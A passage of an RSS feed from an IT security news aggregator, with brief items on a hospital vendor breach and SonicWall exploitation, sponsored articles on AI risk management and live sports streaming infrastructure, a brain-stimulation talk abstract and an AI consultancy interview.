@WilsonKinyua, @wxy-nlp, @wyuebei-cloud, @x7peeps, @x9x9x9x9x9x91, @xuezhaolan, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, @ya-nsh, @yatesjalex,<br>
@ygd58, @yingliang-zhang, @yinkev, @YLChen-007, @yu-xin-c, @yungchentang, @zapabob, @zccyman, @zeapsu,<br>
@ziliangpeng, @zwcf5200, @zzpigpinggai</p>
<p>Also: bo.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.fu, Paulo Henrique, kyssta-exe 25470058+kyssta-exe.</p>
<hr>
<p><strong>Full Changelog</strong>: <a href="https://github.com/NousResearch/hermes-agent/compare/v2026.7.1...v2026.7.20">v2026.7.1...v2026.7.20</a></p>]]></content:encoded>
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<title><![CDATA[Hackers steal customer data from major hospital software vendor]]></title>
<description><![CDATA[The breach is another reminder of how vulnerable the healthcare industry is to supply-chain attacks. This article has been indexed from Cybersecurity Dive – Latest News Read the original article: Hackers steal customer data from major hospital software vendor
Read more →
The post Hackers steal cu...]]></description>
<link>https://tsecurity.de/de/3681690/it-security-nachrichten/hackers-steal-customer-data-from-major-hospital-software-vendor/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681690/it-security-nachrichten/hackers-steal-customer-data-from-major-hospital-software-vendor/</guid>
<pubDate>Mon, 20 Jul 2026 19:00:27 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The breach is another reminder of how vulnerable the healthcare industry is to supply-chain attacks. This article has been indexed from Cybersecurity Dive – Latest News Read the original article: Hackers steal customer data from major hospital software vendor</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/hackers-steal-customer-data-from-major-hospital-software-vendor/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/hackers-steal-customer-data-from-major-hospital-software-vendor/">Hackers steal customer data from major hospital software vendor</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Researchers trace SonicWall SMA1000 exploitation to late June]]></title>
<description><![CDATA[Multiple threat actors, including INC ransomware, have targeted vulnerable firewall systems. This article has been indexed from Cybersecurity Dive – Latest News Read the original article: Researchers trace SonicWall SMA1000 exploitation to late June
Read more →
The post Researchers trace SonicWal...]]></description>
<link>https://tsecurity.de/de/3681672/it-security-nachrichten/researchers-trace-sonicwall-sma1000-exploitation-to-late-june/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681672/it-security-nachrichten/researchers-trace-sonicwall-sma1000-exploitation-to-late-june/</guid>
<pubDate>Mon, 20 Jul 2026 18:59:51 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Multiple threat actors, including INC ransomware, have targeted vulnerable firewall systems. This article has been indexed from Cybersecurity Dive – Latest News Read the original article: Researchers trace SonicWall SMA1000 exploitation to late June</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/researchers-trace-sonicwall-sma1000-exploitation-to-late-june/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/researchers-trace-sonicwall-sma1000-exploitation-to-late-june/">Researchers trace SonicWall SMA1000 exploitation to late June</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[AI adoption and business acceleration are changing the expectations of technology risk management]]></title>
<description><![CDATA[As AI becomes embedded in customer experiences, internal workflows, and throughout the supply chain, security leaders are being asked to do more than manage risk. They are being asked to help the business make more informed decisions and move faster.



At the same time, AI has evolved faster tha...]]></description>
<link>https://tsecurity.de/de/3681443/it-security-nachrichten/ai-adoption-and-business-acceleration-are-changing-the-expectations-of-technology-risk-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681443/it-security-nachrichten/ai-adoption-and-business-acceleration-are-changing-the-expectations-of-technology-risk-management/</guid>
<pubDate>Mon, 20 Jul 2026 16:55:00 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">As AI becomes embedded in customer experiences, internal workflows, and throughout the supply chain, security leaders are being asked to do more than manage risk. They are being asked to help the business make more informed decisions and move faster.</p>



<p class="wp-block-paragraph">At the same time, AI has evolved faster than the programs built to govern it.</p>



<p class="wp-block-paragraph">The result is a widening gap between the pace of transformation and the ability of security, risk, privacy, compliance, and third-party risk teams to understand where the business is exposed.</p>



<h3 class="wp-block-heading"><strong>Move Fast, Don’t Break Things</strong></h3>



<p class="wp-block-paragraph">AI introduces risks like prompt injection and jailbreaks, but the issues keeping CISOs awake at night are more familiar: over-permissioned accounts, poor logging, credentials left in old repositories, sensitive data scattered across systems, and weak access controls. </p>



<p class="wp-block-paragraph">AI gives those risks more speed, reach, and impact. </p>



<p class="wp-block-paragraph">When AI agents are connected to enterprise data, workflows, vendors, and applications, the blast radius of existing weak spots expands quickly. A low-severity incident now becomes harder to detect, more difficult to remediate, and more consequential for the business. </p>



<p class="wp-block-paragraph">This is why boards and executive teams are looking to security leaders for proactive guidance. They want to know whether the business can adopt AI at scale without creating risk that undermines long-term value. </p>



<p class="wp-block-paragraph"><em>“Tell us, in real time, which initiatives are safe to accelerate, where we’re exposed, what could slow down our transformation, and what we need to act on right now.”</em></p>



<p class="wp-block-paragraph">The CISO mandate has evolved from risk reporting to innovation enablement. </p>



<h3 class="wp-block-heading"><strong>When Everything is a Risk, Nothing is a Priority</strong></h3>



<p class="wp-block-paragraph">In many organizations, risk context is spread across multiple teams. Security, procurement, privacy, IT, and third-party risk each have their own view.   </p>



<p class="wp-block-paragraph">That fragmentation creates blind spots. </p>



<p class="wp-block-paragraph">Consider an AI agent that can retrieve customer records, access internal knowledge bases, and trigger downstream workflows. Security may know the agent exists, IT may know where it’s deployed, and procurement may know who purchased it. </p>



<p class="wp-block-paragraph">Without a holistic view, however, it becomes difficult to determine whether the agent has the right permissions, if it is operating within policy, or how it could expose the business.</p>



<p class="wp-block-paragraph">But visibility is only half the battle. As AI systems, identities, vendors, and data change at a dizzying scale, organizations need to understand whether policy is actually being followed in real time.</p>



<p class="wp-block-paragraph">A control that was effective six months ago may no longer suffice after a new AI integration, a vendor update, or a change in permissions. </p>



<p class="wp-block-paragraph">Today’s systems are too dynamic to be governed by the same operating model that worked for yesterday’s tech stack. </p>



<h3 class="wp-block-heading"><strong>From Risk Review to Risk Decisioning</strong></h3>



<p class="wp-block-paragraph">CISOs are now being asked to help the business decide—quickly and defensibly—what can move forward, what needs guardrails, and what should stop. Meeting that mandate requires a different approach: </p>



<ul class="wp-block-list">
<li>Treat AI risk as part of enterprise risk, not a separate discipline. AI is embedded in the same decisions organizations already make about data, vendors, identities, controls, and business processes.</li>



<li>Start with the business process and context, not the model. Understand what processes depend on this system, the data it touches, and what happens if it fails. </li>



<li>Move from one-time approval to continuous assurance. What matters isn’t whether an AI project passed review six months ago, but whether it is operating within the organizations policies and risk appetite today.</li>



<li>Measure decision velocity. Demonstrate how quickly the organization is able to determine what moves forward, what needs guardrails, and what must stop.</li>
</ul>



<p class="wp-block-paragraph">When risk is connected across the business, priorities become clear. Security leaders can understand not just what needs to be addressed, but what matters most, who owns it, and what the business impact could be. </p>



<p class="wp-block-paragraph">When there is a shared understanding of approved use, teams can move faster without relying on ad hoc reviews, static questionnaires, or blanket restrictions. The goal is to make technology and third-party risk visible, prioritized, and actionable at the speed the business now operates.</p>



<p class="wp-block-paragraph">That shift helps <a href="https://www.onetrust.com/solutions/security-and-risk-teams/">security leaders</a> say “yes” with confidence.</p>



<h3 class="wp-block-heading"><strong>Safeguard Transformation and Scale Innovation</strong></h3>



<p class="wp-block-paragraph">I know the pressure many CISOs are carrying right now. Your scope is getting larger while resources continue to shrink. </p>



<p class="wp-block-paragraph">Your leadership is asking you to protect every facet of the organization, support growing risk and compliance requirements, and now, to be a key voice in guiding business strategy.  </p>



<p class="wp-block-paragraph">When you have clarity on what risks truly matter and have the tools to take action, your risk program can become a driver of responsible and scalable innovation. </p>



<p class="wp-block-paragraph"><em>OneTrust helps build risk and compliance programs aligned with the complexity and the speed of your business. </em><a href="https://www.onetrust.com/forms/talk-to-a-risk-expert/"><em>Learn more about our integrated risk solutions.</em></a><em></em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[The technology behind every live sports moment]]></title>
<description><![CDATA[When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.



They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbin...]]></description>
<link>https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681409/it-nachrichten/the-technology-behind-every-live-sports-moment/</guid>
<pubDate>Mon, 20 Jul 2026 16:48:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When a goal goes in during a tournament quarter-final and a hundred million people watch it at the same time, what they feel is the goal. The roar, the replay, the disbelief.</p>



<p class="wp-block-paragraph">They do not feel the contribution feeds traversing private media networks across continents, or the edge nodes absorbing a traffic spike that appeared without warning.</p>



<p class="wp-block-paragraph">They just feel the moment.</p>



<p class="wp-block-paragraph">And that’s exactly how it’s supposed to work.</p>



<p class="wp-block-paragraph">And as live sports viewership pushes into territory that makes previous records look modest (driven by a generation that expects to watch anything, on any device, anywhere, without waiting), the gap between getting that delivery right and getting it wrong has never been more consequential, or more public.</p>



<p class="wp-block-paragraph"><strong>As audiences moved to digital platforms, the margin for error disappeared.</strong><strong></strong></p>



<p class="wp-block-paragraph">There is a version of this conversation that is easy to have: audiences expect more, technology has to keep up. True, but incomplete.</p>



<p class="wp-block-paragraph">Audiences have always expected live sport to work. What changed is what “working” means, and how quickly they find out when it doesn’t.</p>



<p class="wp-block-paragraph">Viewers no longer sit in front of a single screen. During a FIFA World Cup match, a household might have the main feed on the living room television, while someone else streams the highlights on a second TV in the bedroom, all while phones flash with live stats and tablets run separate commentary. From the infrastructure’s perspective, that isn’t just one household watching a game; it’s a chaotic web of concurrent demands triggered by the exact same split-second on the pitch.</p>



<p class="wp-block-paragraph">Multiply that across tens of millions of viewers, and the scale of the challenge becomes clear. Social media raises the stakes further. When a platform fails during a World Cup knockout match, audiences report it in real-time on the same platforms they use to discuss the game. The complaint travels faster than the fix.</p>



<p class="wp-block-paragraph">Broadcasters no longer have the luxury of resolving an incident before people notice. The incident becomes the story, and in many cases, travels further than the match itself.</p>



<h3 class="wp-block-heading"><strong>What these viewership numbers actually mean for infrastructure</strong></h3>



<p class="wp-block-paragraph">The shift in how people watch live sport has moved well beyond trend territory.</p>



<p class="wp-block-paragraph">EMARKETER forecasts that digital live sports audiences in the US will grow to <a href="https://www.emarketer.com/content/100-million-watch-live-sports-digital">114.1 million viewers</a>, while traditional pay TV audiences decline to 82.0 million, highlighting the continued shift toward streaming.</p>



<p class="wp-block-paragraph">The concurrency numbers generated by major sporting events now sit in a territory that would have seemed implausible a decade ago.</p>



<p class="wp-block-paragraph">During the 2026 FIFA World Cup, for instance, streaming platforms shattered every historical ceiling, highlighted by Brazil’s <a href="https://streamscharts.com/news/fifa-world-cup-2026-group-stage-livestreaming">CazéTV</a> repeatedly breaking global YouTube records for concurrent viewership during the group stage. Meanwhile, in the United States, Peacock and <a href="https://www.nbcuniversal.com/article/fifa-world-cup-2026-propels-telemundo-and-peacock-record-viewership">Telemundo’s</a> digital platforms logged an unprecedented 13 million concurrent viewers for a single knockout window. </p>



<p class="wp-block-paragraph">When tens of millions of people tune into the same live stream at the same moment, it’s a challenge unlike regular web traffic.</p>



<p class="wp-block-paragraph">Historically, massive global audiences were insulated by geography. The load was spread across distinct regional networks: antenna signals, satellite downlinks, and physical cable architectures. The physical infrastructure of traditional television inherently absorbed the impact. </p>



<p class="wp-block-paragraph">Digital streaming removes that buffer. Traffic spikes all at once, often at the most critical moment. The tighter the match, the deeper the stoppage time, the sharper the spike. Network infrastructure is forced to handle its heaviest, most volatile traffic exactly when it has zero margin for error.</p>



<p class="wp-block-paragraph">Social media compounds the pressure operationally. The second a crucial goal is scored, a wave of real-time reactions floods the internet, instantly dragging a secondary “curiosity audience” into the app. These are people who weren’t even watching the match, but saw the hype and decided to tune in, meaning the network has to absorb a massive new rush of users precisely while the primary stream is already maxing out its capacity.</p>



<p class="wp-block-paragraph">To survive these surges while satisfying a modern audience, the underlying broadcast playbook has undergone a massive structural shift. It’s no longer just about handling traffic; it’s also about using modern technology like AI to manage it intelligently.</p>



<p class="wp-block-paragraph">According to an <a href="https://www.haivision.com/blog/all/2025-broadcast-transformation-report-key-takeaways/">industry survey</a>, 25% of broadcasters integrated AI into live production workflows in 2025, a massive leap from just 9% the previous year, with 64% identifying AI as the single largest impact driver over the next five years. </p>



<p class="wp-block-paragraph">The network is no longer just delivering content. AI is now generating highlights and short clips in real time, producing millions of videos that keep fans engaged long after the live moment has passed.</p>



<p class="wp-block-paragraph">Ultimately, the technical demand is driven by a shift in what viewers expect. An <a href="https://newsroom.ibm.com/2025-08-18-ibm-study-sports-fans-demand-more-dynamic-digital-content,-powered-by-ai">IBM sports study</a> revealed that 56% of fans now want AI-driven insights layered directly onto their content, while 33% point to real-time, automated translation as the feature that most impacts their experience.</p>



<p class="wp-block-paragraph">Whether it’s one screen or several, viewers don’t notice the edge infrastructure or AI powering the experience. They just expect the game to play without interruption.</p>



<h3 class="wp-block-heading"><strong>The planning mistake most organisations make</strong></h3>



<p class="wp-block-paragraph">Capacity planning is where most organisations spend their time when preparing to stream a major event. Can the system handle a million concurrent streams? Can it scale on demand if the numbers exceed projections? These are real questions. </p>



<p class="wp-block-paragraph">The lesson is not unique to sports streaming. Every digital business now experiences moments where demand, visibility, and customer expectations collide. Peak traffic events such as flash sales, ticket releases, and viral campaigns can drive website traffic <a href="https://aws.amazon.com/blogs/apn/how-to-manage-peak-traffic-on-aws-using-queue-its-virtual-waiting-room/">2 to 25 times above normal levels within seconds</a>. The infrastructure may be different, but the pressure is remarkably similar.<br></p>



<p class="wp-block-paragraph">Large-scale system failures occur when multiple components, each functioning as expected on its own, are overwhelmed by a surge in demand, rising latency, or regional blind spots at the same time.</p>



<p class="wp-block-paragraph">The problem isn’t the individual systems. It’s how they work together.</p>



<p class="wp-block-paragraph">Latency is the factor most consistently underestimated. A few seconds of delay is not a minor inconvenience in live sport. It is a fundamentally broken experience. </p>



<p class="wp-block-paragraph">A viewer whose stream is running four seconds behind will see a notification before the decisive moment appears on screen. Someone watching a service from the privacy of their room may hear a celebration from another room before seeing it on their screen.</p>



<p class="wp-block-paragraph">Geography is another planning gap. Streaming growth is increasingly being driven by emerging markets. In Southeast Asia alone, premium video streaming subscriptions grew <a href="https://avia.org/southeast-asia-premium-vod-accelerates-in-2025-as-subscriber-growth-rebounds-ctv-scales-and-local-content-breaks-through/?utm_source=chatgpt.com">19%</a> in 2025, led by Indonesia, while viewing hours continued to climb across the region. Yet much of the world’s media infrastructure was originally designed around North American and Western European demand. An architecture that looks robust on paper can deliver very different experiences depending on where the viewer is.</p>



<p class="wp-block-paragraph">The reason is simple: physical distance still matters. Every extra hop between the viewer and the content adds latency, making it harder to deliver a consistent experience at global scale.</p>



<p class="wp-block-paragraph">Then there is the timing question. The decisions that determine whether a platform holds during the most-watched minutes of the year are not made on event day. They are made months earlier through choices around architecture, redundancy, testing, and operational readiness.</p>



<p class="wp-block-paragraph">Once an event is underway, it’s too late to redesign the architecture behind it. If your system isn’t designed to handle the pressure before the crowd arrives, it’s already too late.</p>



<h3 class="wp-block-heading"><strong>The hidden chain behind every live event</strong></h3>



<p class="wp-block-paragraph">When a streaming disruption becomes public, people naturally look for a single point of failure: the app, the platform, or the provider.</p>



<p class="wp-block-paragraph">A live event depends on dozens of systems working together, and any one of them can become a problem.</p>



<p class="wp-block-paragraph">And the experience is only as good as the weakest handoff between them.</p>



<p class="wp-block-paragraph">It all starts with the live camera feed moving from the venue to the production studio. This is a real-time stream, not a file download. If you drop even a single packet at the wrong moment, everything down the line breaks, no matter how perfect the rest of your setup is.</p>



<p class="wp-block-paragraph">Remote and cloud-based production workflows have redefined how live sports are produced, enabling broadcasters to operate with greater agility and scale. As production becomes more distributed, success increasingly depends on ensuring every stage of the delivery chain works together seamlessly.</p>



<p class="wp-block-paragraph">Each transition is a potential failure point. Managing them requires visibility that extends across providers, platforms, and networks simultaneously.</p>



<p class="wp-block-paragraph">Behind every live stream, technologies like encoding, transcoding, packaging, rights management, and ad insertion are constantly at work. If any one of them fails, the stream can go down altogether.</p>



<p class="wp-block-paragraph">Global distribution introduces another layer of complexity. Viewers in Asia, Africa, and South America may all be watching the same match, but each stream travels across different networks and infrastructure. That means performance can vary by region, and issues may affect one audience without impacting another. </p>



<p class="wp-block-paragraph">AI is increasingly helping operators detect anomalies in real time, pinpoint affected regions and trigger corrective actions before disruptions become widespread. Combined with point-to-point monitoring, it provides the visibility needed to keep live events running smoothly at global scale.</p>



<p class="wp-block-paragraph">Edge delivery is where the difference between preparation and improvisation becomes most apparent. Bringing content closer to users reduces latency, absorbs local traffic surges, and improves performance in markets with variable connectivity. </p>



<p class="wp-block-paragraph">The value of technology investments such as AI and Edge becomes clearest during the moments when demand is highest.</p>



<p class="wp-block-paragraph">Monitoring is what turns visibility into action. With AI helping analyze telemetry and detect anomalies in real time, operations teams can identify issues sooner and respond before they affect viewers. By the time customers start reporting a problem, the opportunity to prevent it has already passed.</p>



<h3 class="wp-block-heading"><strong>What reliability is actually worth</strong></h3>



<p class="wp-block-paragraph">For most of early broadcast history, audience tolerance provided some buffer. Disruptions happened. People accepted them. There was nowhere else to go, and the story rarely escaped the room.</p>



<p class="wp-block-paragraph">Neither of those things is true now.</p>



<p class="wp-block-paragraph">A streaming failure during a major match becomes public within seconds. Viewers don’t distinguish between a network issue, a processing failure, or a distribution problem; they simply see a service that failed. That single experience can shape the broadcaster’s reputation, credibility and customer loyalty, influencing whether viewers come back for the next event or recommend the service to others.</p>



<p class="wp-block-paragraph">The commercial implications are significant. Global tournaments such as the FIFA World Cup illustrate just how valuable live sports rights have become. Their return depends on reliably reaching the audience that was promised.</p>



<p class="wp-block-paragraph">Advertisers invest in live sport for one reason: to reach a large, engaged audience at the exact moment it matters most. If the stream fails during that window, the opportunity is lost. Those viewers, impressions, and advertising value cannot be recovered once the moment has passed.</p>



<p class="wp-block-paragraph">The same principle increasingly applies outside media. Customers rarely know nor care whether an outage originated in the application, the cloud environment, the network or a third-party dependency. They experience a failure of the brand. In a digital-first economy, reliability has become part of the customer experience itself.</p>



<p class="wp-block-paragraph">For broadcasters and streamers, reliability is no longer just an operational KPI. It directly influences audience trust, advertising revenue, and the long-term value of premium sports rights.</p>



<h3 class="wp-block-heading"><strong>The demands ahead are bigger</strong></h3>



<p class="wp-block-paragraph">AI-assisted production is already changing how live events are created. Broadcasters are using AI to automate highlight generation, camera selection and real-time clip packaging for social media, with new AI-assisted workflows producing sports highlights up to <a href="https://www.statsperform.com/insights/opta-pulse-launch/">80% faster</a> than traditional methods. </p>



<p class="wp-block-paragraph">All of this processing happens within the live delivery chain, where every additional task must be completed without adding latency or compromising the viewing experience.</p>



<p class="wp-block-paragraph">Personalisation at scale is the next significant challenge. Not personalisation in a vague sense, but the specific technical reality of delivering multi-language commentary tracks, different languages, different statistical overlays, and different camera angles to different viewers watching the same event simultaneously. </p>



<p class="wp-block-paragraph">Instead of one stream per event, the infrastructure has to manage a matrix of concurrent variants, each with its own encoding, storage, and delivery requirements. </p>



<p class="wp-block-paragraph">Interactive experiences add bidirectional data flows: real-time polls, integrated second-screen data, live wagering. These move data from the viewer back through infrastructure that was primarily built to push content outward. Managing that at scale is a different engineering problem from managing delivery.</p>



<p class="wp-block-paragraph">Higher-resolution formats (4K now becoming a standard expectation in premium markets, 8K moving into early deployment) are bandwidth-intensive at exactly the scale where bandwidth is already under pressure. Consumer devices are ready. Infrastructure in many high-growth markets is not uniformly there yet.</p>



<p class="wp-block-paragraph">Many of these capabilities are already being deployed for major global sporting events. The organisations investing seriously in technology, innovation, and infrastructure now are building toward a standard that will be the baseline requirement within a few years. Those that are not will be closing the gap under the worst possible conditions.</p>



<h3 class="wp-block-heading"><strong>The technology you never think about</strong></h3>



<p class="wp-block-paragraph">The broadcasters that succeed don’t leave reliability to chance. They plan for it from the outset, designing their infrastructure to handle peak demand long before the audience arrives.</p>



<p class="wp-block-paragraph">This reality hits hardest during massive global events. When a stream glitches, millions of people feel it simultaneously in a matter of seconds. Keeping those streams alive doesn’t happen by accident; it takes massive scale, intense discipline, and deep experience controlling everything from the stadium camera to the viewer’s screen.</p>



<p class="wp-block-paragraph">The lesson extends well beyond live sports. Every enterprise is becoming a real-time digital business, whether it’s delivering AI-powered applications, launching digital products, processing financial transactions, or handling a sudden surge in customer demand. Different industries may face different triggers, but the expectation is the same: the experience has to work, even when demand is at its highest.</p>



<p class="wp-block-paragraph">Delivering that level of reliability is why many of the world’s largest sports brands rely on <a href="https://www.tatacommunications.com/media-entertainment">Tata Communications</a>. Supporting the broadcast, production, and management of 80% of the world’s sporting events, and reaching more than two billion viewers across 190+ countries, Tata Communications operates in the invisible layers that make every live moment possible. We call this the “Virtual Stadium of the World”, the technology and infrastructure that connects fans, broadcasters, rights-holders, and sporting moments at a truly global scale.</p>



<p class="wp-block-paragraph">By managing the critical handoffs across contribution networks, edge processing, and global media infrastructure, we engineer the resilience required to keep 120,000 live events running flawlessly every year.</p>



<p class="wp-block-paragraph">Live sport may be the most visible test of digital infrastructure, but it won’t be the last. As AI, personalisation and real-time experiences become the norm across industries, the ability to deliver reliably at scale will define far more than match day.</p>



<p class="wp-block-paragraph">To learn more, visit us <a href="https://www.tatacommunications.com/sports?utm_source=blog&amp;utm_medium=cio&amp;utm_campaign=mes%20fifa%20campaign">here</a>.</p>
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<title><![CDATA[An AI SOC Evaluation Guide for Security Leaders]]></title>
<description><![CDATA[Choosing an AI SOC platform requires understanding how it will perform in your own environment, not just during an evaluation. Prophet Security shares a practical framework for assessing AI SOC solutions, including how to validate accuracy, operating models, long-term reliability, and production ...]]></description>
<link>https://tsecurity.de/de/3681383/it-security-nachrichten/an-ai-soc-evaluation-guide-for-security-leaders/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681383/it-security-nachrichten/an-ai-soc-evaluation-guide-for-security-leaders/</guid>
<pubDate>Mon, 20 Jul 2026 16:24:38 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Choosing an AI SOC platform requires understanding how it will perform in your own environment, not just during an evaluation. Prophet Security shares a practical framework for assessing AI SOC solutions, including how to validate accuracy, operating models, long-term reliability, and production readiness. [...]]]></content:encoded>
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<title><![CDATA[Stimulating Brains Without Touching Them: A Story of Magnets, Hype, and Open Science (emf2026)]]></title>
<description><![CDATA[For over 100 years now, being able to take an image of brain activity has been a really useful approach to understanding how brains work. But, more recently, we’ve learnt how to change brain states. Non-invasive Brain Stimulation (NiBS) does just that; temporarily interfere with normal brain acti...]]></description>
<link>https://tsecurity.de/de/3681109/it-security-video/stimulating-brains-without-touching-them-a-story-of-magnets-hype-and-open-science-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681109/it-security-video/stimulating-brains-without-touching-them-a-story-of-magnets-hype-and-open-science-emf2026/</guid>
<pubDate>Mon, 20 Jul 2026 14:33:32 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[For over 100 years now, being able to take an image of brain activity has been a really useful approach to understanding how brains work. But, more recently, we’ve learnt how to change brain states. Non-invasive Brain Stimulation (NiBS) does just that; temporarily interfere with normal brain activation without having to anaesthetise, cut, drill or otherwise violate the skull! 

The plan for this talk is to tell you a bit about brains and what we can learn from stimulating them using electromagnets and weak electric currents. As well as some sophisticated science, this approach has also seen some crazy claims about what brain stimulation can do. To separate the signal from the noise, open science has had a massive role to play. 

The lab that I co-lead has used open science approaches to explore brain activity using NiBS and found… not much. But, by using an open science approach, and systematically experimenting using NiBS, the how and why of ‘not much’ can be particularly useful and hopefully interesting.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/79-stimulating-brains-without-touching-them-a-story-of-magnets]]></content:encoded>
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<title><![CDATA[Stimulating Brains Without Touching Them: A Story of Magnets, Hype, and Open Science (emf2026)]]></title>
<description><![CDATA[For over 100 years now, being able to take an image of brain activity has been a really useful approach to understanding how brains work. But, more recently, we’ve learnt how to change brain states. Non-invasive Brain Stimulation (NiBS) does just that; temporarily interfere with normal brain acti...]]></description>
<link>https://tsecurity.de/de/3681094/it-security-video/stimulating-brains-without-touching-them-a-story-of-magnets-hype-and-open-science-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681094/it-security-video/stimulating-brains-without-touching-them-a-story-of-magnets-hype-and-open-science-emf2026/</guid>
<pubDate>Mon, 20 Jul 2026 14:25:02 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[For over 100 years now, being able to take an image of brain activity has been a really useful approach to understanding how brains work. But, more recently, we’ve learnt how to change brain states. Non-invasive Brain Stimulation (NiBS) does just that; temporarily interfere with normal brain activation without having to anaesthetise, cut, drill or otherwise violate the skull! 

The plan for this talk is to tell you a bit about brains and what we can learn from stimulating them using electromagnets and weak electric currents. As well as some sophisticated science, this approach has also seen some crazy claims about what brain stimulation can do. To separate the signal from the noise, open science has had a massive role to play. 

The lab that I co-lead has used open science approaches to explore brain activity using NiBS and found… not much. But, by using an open science approach, and systematically experimenting using NiBS, the how and why of ‘not much’ can be particularly useful and hopefully interesting.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/79-stimulating-brains-without-touching-them-a-story-of-magnets]]></content:encoded>
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<item>
<title><![CDATA[Q&A: Why boutique consultancies might be better for AI rollouts than the bigwigs]]></title>
<description><![CDATA[Major AI labs are unleashing forward-deployed engineers (FDEs) to try and grab enterprise customers. Large consultancies are dishing out tokens and assembling armies of consultants — both human and agent — to do the same.



But smaller firms are in the mix now, as well. AI is helping 28Stone Con...]]></description>
<link>https://tsecurity.de/de/3680996/it-nachrichten/qa-why-boutique-consultancies-might-be-better-for-ai-rollouts-than-the-bigwigs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680996/it-nachrichten/qa-why-boutique-consultancies-might-be-better-for-ai-rollouts-than-the-bigwigs/</guid>
<pubDate>Mon, 20 Jul 2026 13:33:13 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Major AI labs are <a href="https://www.computerworld.com/article/4171867/heres-one-career-emerging-from-the-ai-shift-forward-deployed-engineers.html">unleashing forward-deployed engineers</a> (FDEs) to try and grab enterprise customers. Large consultancies are dishing out tokens and assembling armies of consultants — both human and agent — to do the same.</p>



<p class="wp-block-paragraph">But smaller firms are in the mix now, as well. AI is helping <a href="https://www.28stone.com/" target="_blank" rel="noreferrer noopener">28Stone Consulting</a>, a New York-based, 230-person technology consultancy for capital markets, punch above its weight against larger rivals in the <a href="https://www.computerworld.com/article/4180088/ai-vendor-fdes-key-considerations-and-concerns.html">rush to deliver FDEs</a>.</p>



<p class="wp-block-paragraph">In this Q&amp;A, <a href="https://www.linkedin.com/in/thomas-dolan-4124914" target="_blank" rel="noreferrer noopener">Thomas Dolan</a> and <a href="https://www.linkedin.com/in/frank-erickson-07675a1" target="_blank" rel="noreferrer noopener">Frank Erickson</a>, founders of 28Stone, argue that agentic AI isn’t a one-size-fits-all solution in vertical markets; success takes discipline, deep domain expertise, and human involvement to mitigate risk.</p>



<p class="wp-block-paragraph">Many enterprises continue to struggle with the use of AI agents, which is consultancies are stepping in to get projects off the ground. 28Stone is among those that have published blueprints and methodologies on the development and delivery of agentic AI workflows with humans in the loop.</p>



<p class="wp-block-paragraph"><em>Computerworld</em> spoke with both founding partners about why companies are still stumbling with <a href="https://www.computerworld.com/article/4083589/from-chatbots-to-colleagues-how-agentic-ai-is-redefining-enterprise-automation.html">agentic AI rollouts</a>, and what a disciplined delivery process actually looks like.</p>



<p class="wp-block-paragraph"><strong>After 15 years of delivering software for capital markets firms, is ‘AI-first’ a real distinction or just positioning?</strong></p>



<p class="wp-block-paragraph"><strong>Dolan:</strong> “We’re not shying away from being AI-forward. What needs to shine through is AI done intelligently — not stuff you get by buying some tokens for somebody on the trading desk. We’re an AI-first firm.”</p>



<p class="wp-block-paragraph"><strong>Erickson:</strong> “And it’s temporary. At some point, AI is going to be synonymous with software development.</p>



<p class="wp-block-paragraph">“The whole idea of an AI SDLC (software development lifecycle) versus an SDLC is going to be one and the same, a lot like cloud computing today. To not include AI in your strategy, you’d look like a COBOL vendor.”</p>



